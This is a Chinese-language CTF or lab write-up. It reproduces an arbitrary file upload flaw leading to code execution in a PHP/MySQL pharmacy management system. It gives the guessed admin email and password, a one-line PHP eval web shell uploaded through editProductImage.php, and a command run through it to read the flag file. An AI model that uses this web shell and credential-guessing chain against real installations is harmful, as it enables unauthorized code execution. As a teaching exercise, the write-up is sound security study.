一、题目描述
多语言药房管理系统 (MPMS) 是用 PHP 和 MySQL 开发的, 该软件的主要目的是在药房和客户之间提供一套接口,客户是该软件的主要用户。该软件有助于为药房业务创建一个综合数据库,并根据到期、产品等各种参数提供各种报告。 该CMS中php_action/editProductImage.php存在任意文件上传漏洞,进而导致任意代码执行。
二、简单分析
进入靶场后我们首先可以看到一个登录界面。
在尝试弱口令和Forgot Password没用后,开始寻找别的有用的信息。最后在页面底部发现了有用的信息,此网站的作者是Mayuri K。
点击作者即可跳转到作者的主页,在这里发现了源代码。
源代码链接:
https://www.mayurik.com/source-code/P0349/best-pharmacy-billing-software-free-download
并且我也在国家信息安全漏洞库里找到了这个漏洞
漏洞简介
Pharmacy Management System(MPMS)是Mayuri K.个人开发者的一个多语言药房管理系统。Pharmacy Management System v1.0 版本存在安全漏洞,该漏洞源于组件 /php_action/editProductImage.php 包含远程代码执行(RCE)问题。攻击者利用该漏洞可以通过制作的图像文件执行任意代码。
不过我们想上传文件得进入后台,进入后台得找到用户名和密码。联系到此网站的作者是Mayuri K,我们可以尝试用作者的email和name作为用户名和密码。
email:mayuri.infospace@gmail.com
passwd:mayurik
发现登录成功,进入后台可以发现这里可以上传文件
提前构造好一句话木马shell.php
<?php eval($_POST[cmd]):?>
上传一句话木马,其余信息随便填一下。
上传成功
右键图片复制图片地址
http://xxxxx/assets/myimages/shell.php
访问图片地址,执行payload
cmd=system(‘tac /f*’);
三、总结
本道题虽然简单,但是运用到的知识点不少,信息搜集,社工,文件上传,命令执行,代码执行都有体现,比较适合新手入门。
复现CVE比打CTF容易多了,打了几天的Hackergame打的头疼,复现几个CVE放松放松。